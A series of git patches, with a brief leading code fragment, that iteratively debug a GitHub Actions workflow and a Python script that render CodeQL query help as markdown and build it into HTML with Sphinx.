codeql_search_path += ":" + git_toplevel_dir + ":" + git_toplevel_dir + "/../codeql-go" codeql_search_path = git_toplevel_dir = git_toplevel_dir.stdout.strip() except: # git rev-parse --show-toplevel exited with non-zero exit code. We're not in a Git repo From 2d93b3a45af85cde7f2d55df76f318c55fcced28 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:35:02 +0000 Subject: [PATCH 05/31] test --- .github/workflows/generate-query-help-docs.yml | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index dc44a921adb..bd9e54691fd 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -39,13 +39,16 @@ jobs: - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - - name: Run Sphinx for query help - uses: ammaraskar/sphinx-action@master - with: - docs-folder: "codeql/docs/language/query-help/" - pre-build-command: "python -m pip install --upgrade recommonmark" - build-command: "sphinx-build -b html . query-help-build" - - name: Upload HTML artifacts + - name: Build site assets + working-directory: '${{ github.workspace }}' + run: ls -la + #- name: Run Sphinx for query help + # uses: ammaraskar/sphinx-action@master + # with: + # docs-folder: "codeql/docs/language/query-help/" + # pre-build-command: "python -m pip install --upgrade recommonmark" + # build-command: "sphinx-build -b html . query-help-build" + #- name: Upload HTML artifacts uses: actions/upload-artifact@v2 with: name: query-help-html From c775a27a22f68edd50cbd98df4e6dc1d8df7fff3 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:37:04 +0000 Subject: [PATCH 06/31] test2 --- .github/workflows/generate-query-help-docs.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index bd9e54691fd..3267ec038a0 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -49,8 +49,8 @@ jobs: # pre-build-command: "python -m pip install --upgrade recommonmark" # build-command: "sphinx-build -b html . query-help-build" #- name: Upload HTML artifacts - uses: actions/upload-artifact@v2 - with: - name: query-help-html - path: query-help + # uses: actions/upload-artifact@v2 + # with: + # name: query-help-html + # path: query-help From d25a0ef7e6f459b7973f4625e8223b2bc830589f Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:41:51 +0000 Subject: [PATCH 07/31] another test --- .github/workflows/generate-query-help-docs.yml | 2 +- docs/language/query-help-markdown.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 3267ec038a0..8a698cdc99c 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -40,7 +40,7 @@ jobs: run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - name: Build site assets - working-directory: '${{ github.workspace }}' + working-directory: '${{ github.workspace }}/codeql/docs/language' run: ls -la #- name: Run Sphinx for query help # uses: ammaraskar/sphinx-action@master diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 0a34ab7cf3b..581049315a2 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -186,7 +186,7 @@ for lang in languages: index_file_dictionary[query_name_meta] = lang + "/" + query_name # Make paths for output of the form: query-help-markdown//.md - docs_dir = 'query-help' + docs_dir = 'codeql/docs/language/query-help' md_dir_path = os.path.join(docs_dir, lang) md_file_path = os.path.join(md_dir_path, query_name + ".md") From fe5979d92a980932b5367542e592be7b8d49687b Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:52:17 +0000 Subject: [PATCH 08/31] add working-directory --- .github/workflows/generate-query-help-docs.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 8a698cdc99c..c96f36d3979 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -39,6 +39,7 @@ jobs: - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + working-directory: 'codeql/docs/language/' - name: Build site assets working-directory: '${{ github.workspace }}/codeql/docs/language' run: ls -la From fc848e553e8e72912fdb83b7508923d6ef55edc5 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 12:55:12 +0000 Subject: [PATCH 09/31] fix working directory --- .github/workflows/generate-query-help-docs.yml | 2 +- docs/language/query-help-markdown.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index c96f36d3979..798f9a6404f 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -38,7 +38,7 @@ jobs: run: unzip -d codeql-cli codeql-linux64.zip - name: Query help to markdown run: | - PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + PATH="$PATH:codeql-cli/codeql" python query-help-markdown.py working-directory: 'codeql/docs/language/' - name: Build site assets working-directory: '${{ github.workspace }}/codeql/docs/language' diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 581049315a2..0a34ab7cf3b 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -186,7 +186,7 @@ for lang in languages: index_file_dictionary[query_name_meta] = lang + "/" + query_name # Make paths for output of the form: query-help-markdown//.md - docs_dir = 'codeql/docs/language/query-help' + docs_dir = 'query-help' md_dir_path = os.path.join(docs_dir, lang) md_file_path = os.path.join(md_dir_path, query_name + ".md") From 1a60f961e6e1d5ac0874b7234a654b78a5ec12a5 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:10:27 +0000 Subject: [PATCH 10/31] add set up step --- .../workflows/generate-query-help-docs.yml | 23 +++++++++++++------ 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 798f9a6404f..b3bdd728277 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -36,11 +36,20 @@ jobs: token: ${{ secrets.GITHUB_TOKEN }} - name: Unzip CodeQL CLI run: unzip -d codeql-cli codeql-linux64.zip + - name: Set up query help docs folder + run: | + mkdir query-help ; cp -r codeql/docs/language/query-help/ query-help/ + - name: Build site assets + working-directory: '${{ github.workspace }}/codeql/docs/language' + run: ls -la - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python query-help-markdown.py - working-directory: 'codeql/docs/language/' - - name: Build site assets + - name: Copy sphinx files into query help folder + run: | + cp codeql/docs/language/query-help/conf.py query-help/conf.py; + cp codeql/docs/language/query-help/*.rst query-help/*.rst; + - name: Check workspace working-directory: '${{ github.workspace }}/codeql/docs/language' run: ls -la #- name: Run Sphinx for query help @@ -49,9 +58,9 @@ jobs: # docs-folder: "codeql/docs/language/query-help/" # pre-build-command: "python -m pip install --upgrade recommonmark" # build-command: "sphinx-build -b html . query-help-build" - #- name: Upload HTML artifacts - # uses: actions/upload-artifact@v2 - # with: - # name: query-help-html - # path: query-help + - name: Upload HTML artifacts + uses: actions/upload-artifact@v2 + with: + name: query-help-html + path: query-help From bb1c0a184adf8464533c563f113d7fbfa2ef04a8 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:13:15 +0000 Subject: [PATCH 11/31] fix path --- .github/workflows/generate-query-help-docs.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index b3bdd728277..7bea0f8a35c 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -40,11 +40,11 @@ jobs: run: | mkdir query-help ; cp -r codeql/docs/language/query-help/ query-help/ - name: Build site assets - working-directory: '${{ github.workspace }}/codeql/docs/language' + working-directory: '${{ github.workspace }}' run: ls -la - name: Query help to markdown run: | - PATH="$PATH:codeql-cli/codeql" python query-help-markdown.py + PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - name: Copy sphinx files into query help folder run: | cp codeql/docs/language/query-help/conf.py query-help/conf.py; From e9b2d771c2293da5f4342e10f7ea346166c22102 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:19:30 +0000 Subject: [PATCH 12/31] add test steps --- .../workflows/generate-query-help-docs.yml | 22 ++++++++----------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 7bea0f8a35c..82fe44e5e77 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -39,18 +39,14 @@ jobs: - name: Set up query help docs folder run: | mkdir query-help ; cp -r codeql/docs/language/query-help/ query-help/ - - name: Build site assets - working-directory: '${{ github.workspace }}' + - name: Check docs folder prescript + working-directory: '${{ github.workspace }}/query-help' run: ls -la - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - - name: Copy sphinx files into query help folder - run: | - cp codeql/docs/language/query-help/conf.py query-help/conf.py; - cp codeql/docs/language/query-help/*.rst query-help/*.rst; - - name: Check workspace - working-directory: '${{ github.workspace }}/codeql/docs/language' + - name: Check docs folder postscript + working-directory: '${{ github.workspace }}/query-help' run: ls -la #- name: Run Sphinx for query help # uses: ammaraskar/sphinx-action@master @@ -58,9 +54,9 @@ jobs: # docs-folder: "codeql/docs/language/query-help/" # pre-build-command: "python -m pip install --upgrade recommonmark" # build-command: "sphinx-build -b html . query-help-build" - - name: Upload HTML artifacts - uses: actions/upload-artifact@v2 - with: - name: query-help-html - path: query-help + #- name: Upload HTML artifacts + # uses: actions/upload-artifact@v2 + # with: + # name: query-help-html + # path: query-help From 2383960e0df436148efd41789c289e50e9465117 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:24:48 +0000 Subject: [PATCH 13/31] copy folder correctly --- .github/workflows/generate-query-help-docs.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 82fe44e5e77..ad846da9eca 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -38,7 +38,7 @@ jobs: run: unzip -d codeql-cli codeql-linux64.zip - name: Set up query help docs folder run: | - mkdir query-help ; cp -r codeql/docs/language/query-help/ query-help/ + mkdir query-help ; cp -r codeql/docs/language/query-help/ . - name: Check docs folder prescript working-directory: '${{ github.workspace }}/query-help' run: ls -la From 27f52851ca2da7b6865db78289f686ac85dc3093 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:33:40 +0000 Subject: [PATCH 14/31] add sphinx step --- .../workflows/generate-query-help-docs.yml | 21 ++++++++----------- 1 file changed, 9 insertions(+), 12 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index ad846da9eca..42e1a0a7196 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -39,24 +39,21 @@ jobs: - name: Set up query help docs folder run: | mkdir query-help ; cp -r codeql/docs/language/query-help/ . - - name: Check docs folder prescript - working-directory: '${{ github.workspace }}/query-help' - run: ls -la - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + - name: Run Sphinx for query help + uses: ammaraskar/sphinx-action@master + with: + docs-folder: "query-help/" + pre-build-command: "python -m pip install --upgrade recommonmark" + build-command: "sphinx-build -b html . _build" - name: Check docs folder postscript - working-directory: '${{ github.workspace }}/query-help' - run: ls -la - #- name: Run Sphinx for query help - # uses: ammaraskar/sphinx-action@master - # with: - # docs-folder: "codeql/docs/language/query-help/" - # pre-build-command: "python -m pip install --upgrade recommonmark" - # build-command: "sphinx-build -b html . query-help-build" + working-directory: '${{ github.workspace }}/query-help/_build' + run: ls -la #- name: Upload HTML artifacts # uses: actions/upload-artifact@v2 # with: # name: query-help-html - # path: query-help + # path: query-help/_build From 0fe0d067e91a0146f55e1b271ec1ecd7a05725fc Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:41:13 +0000 Subject: [PATCH 15/31] copy more sphinx files --- .github/workflows/generate-query-help-docs.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 42e1a0a7196..e4aeab8bd35 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -38,7 +38,7 @@ jobs: run: unzip -d codeql-cli codeql-linux64.zip - name: Set up query help docs folder run: | - mkdir query-help ; cp -r codeql/docs/language/query-help/ . + cp -r codeql/docs/language/query-help/ . ; cp -r codeql/docs/language/global-sphinx-files/ . - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py From cb962a9ce02e1fd1b0affdb93cf2d5f494d539b7 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:49:30 +0000 Subject: [PATCH 16/31] tests --- .../workflows/generate-query-help-docs.yml | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index e4aeab8bd35..b1f64d6569c 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -42,15 +42,18 @@ jobs: - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - - name: Run Sphinx for query help - uses: ammaraskar/sphinx-action@master - with: - docs-folder: "query-help/" - pre-build-command: "python -m pip install --upgrade recommonmark" - build-command: "sphinx-build -b html . _build" - - name: Check docs folder postscript - working-directory: '${{ github.workspace }}/query-help/_build' + # - name: Run Sphinx for query help + # uses: ammaraskar/sphinx-action@master + # with: + # docs-folder: "query-help/" + # pre-build-command: "python -m pip install --upgrade recommonmark" + # build-command: "sphinx-build -b html . _build" + - name: Check docs folder postscript 1 + working-directory: '${{ github.workspace }}/query-help' run: ls -la + # - name: Check docs folder postscript 2 + # working-directory: '${{ github.workspace }}/query-help/_build' + # run: ls -la #- name: Upload HTML artifacts # uses: actions/upload-artifact@v2 # with: From d70240c7867ff040810c8cc4c8324d87b1f69957 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 13:55:04 +0000 Subject: [PATCH 17/31] update conf.py for query help --- .../workflows/generate-query-help-docs.yml | 28 +++++++++---------- docs/language/query-help/conf.py | 10 +++---- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index b1f64d6569c..1dd37260cdd 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -42,21 +42,21 @@ jobs: - name: Query help to markdown run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py - # - name: Run Sphinx for query help - # uses: ammaraskar/sphinx-action@master - # with: - # docs-folder: "query-help/" - # pre-build-command: "python -m pip install --upgrade recommonmark" - # build-command: "sphinx-build -b html . _build" + - name: Run Sphinx for query help + uses: ammaraskar/sphinx-action@master + with: + docs-folder: "query-help/" + pre-build-command: "python -m pip install --upgrade recommonmark" + build-command: "sphinx-build -b html . _build" - name: Check docs folder postscript 1 working-directory: '${{ github.workspace }}/query-help' run: ls -la - # - name: Check docs folder postscript 2 - # working-directory: '${{ github.workspace }}/query-help/_build' - # run: ls -la - #- name: Upload HTML artifacts - # uses: actions/upload-artifact@v2 - # with: - # name: query-help-html - # path: query-help/_build + - name: Check docs folder postscript 2 + working-directory: '${{ github.workspace }}/query-help/_build' + run: ls -la + - name: Upload HTML artifacts + uses: actions/upload-artifact@v2 + with: + name: query-help-html + path: query-help/_build diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py index d80f8079def..7b71e35909b 100644 --- a/docs/language/query-help/conf.py +++ b/docs/language/query-help/conf.py @@ -45,12 +45,12 @@ project = u'CodeQL query help' # Add md parser to process query help markdown files -#source_parsers = { -# '.md': 'recommonmark.parser.CommonMarkParser', -#} - -source_suffix = ['.rst'] +extensions =['recommonmark'] +source_suffix = { + '.rst': 'restructuredtext', + '.md': 'markdown', +} # -- Project-specifc options for HTML output ---------------------------------------------- From 4b07f395d0aff1edf34e4badbbfeed20fd64864c Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 14:18:27 +0000 Subject: [PATCH 18/31] run script for all languges --- docs/language/query-help-markdown.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 0a34ab7cf3b..764fc6407de 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,7 +6,7 @@ import sys import os # Define which languages and query packs to consider -languages = ["go"] +languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now packs = ["code-scanning", "security-extended"] From d6e9f4d6f26703e3d597dbbc8b69e2730972f140 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 14:44:17 +0000 Subject: [PATCH 19/31] remove unnecessary steps from work flow --- .github/workflows/generate-query-help-docs.yml | 6 ------ 1 file changed, 6 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 1dd37260cdd..0c6bef6cd6a 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -48,12 +48,6 @@ jobs: docs-folder: "query-help/" pre-build-command: "python -m pip install --upgrade recommonmark" build-command: "sphinx-build -b html . _build" - - name: Check docs folder postscript 1 - working-directory: '${{ github.workspace }}/query-help' - run: ls -la - - name: Check docs folder postscript 2 - working-directory: '${{ github.workspace }}/query-help/_build' - run: ls -la - name: Upload HTML artifacts uses: actions/upload-artifact@v2 with: From 78fc15174f8efccc5baabdd6e907aa8739581c23 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 15:24:39 +0000 Subject: [PATCH 20/31] debug java query help errors --- docs/language/query-help-markdown.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 764fc6407de..f6586902e41 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,7 +6,7 @@ import sys import os # Define which languages and query packs to consider -languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] +languages = ["java"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now packs = ["code-scanning", "security-extended"] @@ -144,8 +144,12 @@ for lang in languages: queryfile_nwo = prefix_repo_nwo(queryfile) # Generate the query help for each query - query_help = subprocess_run( - ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() + try: + query_help = subprocess_run( + ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() + except: + print("Failed to generate query help for '%s'" % (queryfile)) + continue # Pull out relevant query metadata properties that we want to display in the query help query_name_meta = get_query_metadata('name', meta, queryfile) From 8414c22f674b31f80403c7025cc776d8ee234e01 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 15:36:07 +0000 Subject: [PATCH 21/31] print error if generate query help fails --- docs/language/query-help-markdown.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index f6586902e41..2403a74f2cf 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -148,7 +148,8 @@ for lang in languages: query_help = subprocess_run( ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() except: - print("Failed to generate query help for '%s'" % (queryfile)) + # Print a message if generate query help fails + print("Failed to generate query help for '%s'" % (queryfile_nwo)) continue # Pull out relevant query metadata properties that we want to display in the query help From e5d2edd911fc4294d4bcba80258d6b4438d74d74 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 15:37:21 +0000 Subject: [PATCH 22/31] run script over all languages --- docs/language/query-help-markdown.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 2403a74f2cf..9db1052ffd0 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,7 +6,7 @@ import sys import os # Define which languages and query packs to consider -languages = ["java"] +languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now packs = ["code-scanning", "security-extended"] From 4a9b61274ad01ca792adf044308a2fdfef98a9b9 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 16:18:09 +0000 Subject: [PATCH 23/31] improve docs --- .github/workflows/generate-query-help-docs.yml | 2 +- docs/language/query-help-markdown.py | 17 +++++++++++++++-- docs/language/query-help/conf.py | 17 +++-------------- docs/language/query-help/query-list.rst | 7 ------- docs/language/query-help/readme.txt | 8 ++++++++ 5 files changed, 27 insertions(+), 24 deletions(-) delete mode 100644 docs/language/query-help/query-list.rst create mode 100644 docs/language/query-help/readme.txt diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 0c6bef6cd6a..bc09d9b2612 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -1,4 +1,4 @@ -name: Generate CodeQL documentation using Sphinx +name: Generate CodeQL query help documentation using Sphinx on: push: diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 9db1052ffd0..bb74146d8a3 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -5,11 +5,24 @@ import csv import sys import os +""" +This script collects CodeQL queries that are part of code scanning query packs, +renders the accompanying query help as markdown, inserts some useful metadata +into the help, and adds a link to the query in the CodeQL repo. + +This script requires that 'git' and 'codeql' commands +are on the PATH. It'll try to automatically set the CodeQL search path correctly, +as long as you run the script from one of the following locations: + - anywhere from within a clone of the CodeQL Git repo + - from the parent directory of a clone of the CodeQL Git repo (assuming 'codeql' + and 'codeql-go' directories both exist) +""" + # Define which languages and query packs to consider languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] -# Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now -packs = ["code-scanning", "security-extended"] +# generate query-help fails for some queries in these suites. Faliures generate an error message. +packs = ["code-scanning", "security-and-quality", "security-extended"] def prefix_repo_nwo(filename): diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py index 7b71e35909b..46fa45fece8 100644 --- a/docs/language/query-help/conf.py +++ b/docs/language/query-help/conf.py @@ -1,7 +1,6 @@ # -*- coding: utf-8 -*- # -# Learn CodeQL documentation build configuration file, created by -# on Tuesday Nov 13 2018. +# CodeQL query help configuration file # # This file is execfile()d with the current directory set to its # containing dir. @@ -15,16 +14,6 @@ # For details of all possible config values, # see https://www.sphinx-doc.org/en/master/usage/configuration.html -################################################################################# -# -# Modified 22052019. - -# The configuration values below are specific to the learning ql project -# To amend html_theme_options, update version/release number, or add more sphinx extensions, -# refer to code/documentation/ql-documentation/global-sphinx-files/global-conf.py -# -################################################################################## - # -- Project-specific configuration ----------------------------------- import os @@ -44,7 +33,6 @@ master_doc = 'index' project = u'CodeQL query help' # Add md parser to process query help markdown files - extensions =['recommonmark'] source_suffix = { @@ -82,4 +70,5 @@ source_suffix = { # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. -exclude_patterns = ['toc-*'] \ No newline at end of file + +exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages \ No newline at end of file diff --git a/docs/language/query-help/query-list.rst b/docs/language/query-help/query-list.rst deleted file mode 100644 index df99c4002f9..00000000000 --- a/docs/language/query-help/query-list.rst +++ /dev/null @@ -1,7 +0,0 @@ -Code scanning query lists -========================= - -.. csv-table:: - :class: fullWidthTable - :widths: auto - :file: query-lists/query-list.csv diff --git a/docs/language/query-help/readme.txt b/docs/language/query-help/readme.txt new file mode 100644 index 00000000000..4e98220f759 --- /dev/null +++ b/docs/language/query-help/readme.txt @@ -0,0 +1,8 @@ +CodeQL query help Sphinx documentation +-------------------------------------- + +This project supplies the configuration and some boiler plate +index files for the CodeQL query help documentation. + +The query help itself is automatically generated by the +"Generate CodeQL query help documentation using Sphinx" workflow. \ No newline at end of file From bc7264cd5d063ac31c4c43c47ec3c96815e783f0 Mon Sep 17 00:00:00 2001 From: james Date: Sat, 7 Nov 2020 10:42:04 +0000 Subject: [PATCH 24/31] update query help script --- docs/language/query-help-markdown.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index bb74146d8a3..44b28430b00 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -21,9 +21,9 @@ as long as you run the script from one of the following locations: # Define which languages and query packs to consider languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] -# generate query-help fails for some queries in these suites. Faliures generate an error message. -packs = ["code-scanning", "security-and-quality", "security-extended"] - +# Query suites to generate help for +# lgtm-full suites covers all queries used in code scanning and on lgtm.com plus a few more +packs = ["lgtm-full"] def prefix_repo_nwo(filename): """ @@ -197,8 +197,10 @@ for lang in languages: # Insert metadata block into query help directly under title full_help = query_help.replace("\n", meta_string, 1) - # Basename of query, used to make markdown output filepath - query_name = os.path.split(queryfile_nwo)[1][:-3] + # Use id property (without language code) to make name for markdown file + s = query_id.index("/") + # replace "/" with "-" + query_name = query_id[s+1:-1].replace("/", "-") # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename index_file_dictionary[query_name_meta] = lang + "/" + query_name From 13c72d243a3c89db8dc4be4d97af73d274f9f2f8 Mon Sep 17 00:00:00 2001 From: james Date: Sat, 7 Nov 2020 11:31:31 +0000 Subject: [PATCH 25/31] run script for lgtm suites --- docs/language/query-help-markdown.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 44b28430b00..e8cb421a1e3 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -23,7 +23,7 @@ languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] # Query suites to generate help for # lgtm-full suites covers all queries used in code scanning and on lgtm.com plus a few more -packs = ["lgtm-full"] +packs = ["lgtm"] def prefix_repo_nwo(filename): """ From f2b177413a91fbe2ceab12a2c46610a191483aac Mon Sep 17 00:00:00 2001 From: james Date: Sat, 7 Nov 2020 12:02:44 +0000 Subject: [PATCH 26/31] change warnings to errors to avoid creating empty query help --- docs/language/query-help-markdown.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index e8cb421a1e3..a2e22abfd41 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -159,7 +159,7 @@ for lang in languages: # Generate the query help for each query try: query_help = subprocess_run( - ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() + ["codeql", "generate", "query-help", "--format=markdown", "--warnings=error", queryfile]).stdout.strip() except: # Print a message if generate query help fails print("Failed to generate query help for '%s'" % (queryfile_nwo)) @@ -192,7 +192,7 @@ for lang in languages: # Join metadata into a literal block and add query link below meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + \ - query_precision + query_tags + "\n" + "```\n" + query_link + "\n" + query_precision + query_tags + "```\n\n" + query_link + "\n" # Insert metadata block into query help directly under title full_help = query_help.replace("\n", meta_string, 1) From f5ae00865f8b93bff023a2cc8da20c92e7ef17c5 Mon Sep 17 00:00:00 2001 From: james Date: Fri, 20 Nov 2020 10:07:48 +0000 Subject: [PATCH 27/31] rebase on rc/1.26 branch --- .../workflows/generate-query-help-docs.yml | 6 +- docs/codeql/conf.py | 2 +- .../query-help-markdown.py | 37 ++++++++-- docs/codeql/query-help/conf.py | 60 +++++++++++++++ docs/{language => codeql}/query-help/cpp.rst | 0 .../query-help/csharp.rst | 0 docs/{language => codeql}/query-help/go.rst | 0 .../{language => codeql}/query-help/index.rst | 0 docs/{language => codeql}/query-help/java.rst | 0 .../query-help/javascript.rst | 0 .../query-help/python.rst | 0 .../query-help/readme.txt | 0 docs/language/query-help/conf.py | 74 ------------------- 13 files changed, 93 insertions(+), 86 deletions(-) rename docs/{language => codeql}/query-help-markdown.py (85%) create mode 100644 docs/codeql/query-help/conf.py rename docs/{language => codeql}/query-help/cpp.rst (100%) rename docs/{language => codeql}/query-help/csharp.rst (100%) rename docs/{language => codeql}/query-help/go.rst (100%) rename docs/{language => codeql}/query-help/index.rst (100%) rename docs/{language => codeql}/query-help/java.rst (100%) rename docs/{language => codeql}/query-help/javascript.rst (100%) rename docs/{language => codeql}/query-help/python.rst (100%) rename docs/{language => codeql}/query-help/readme.txt (100%) delete mode 100644 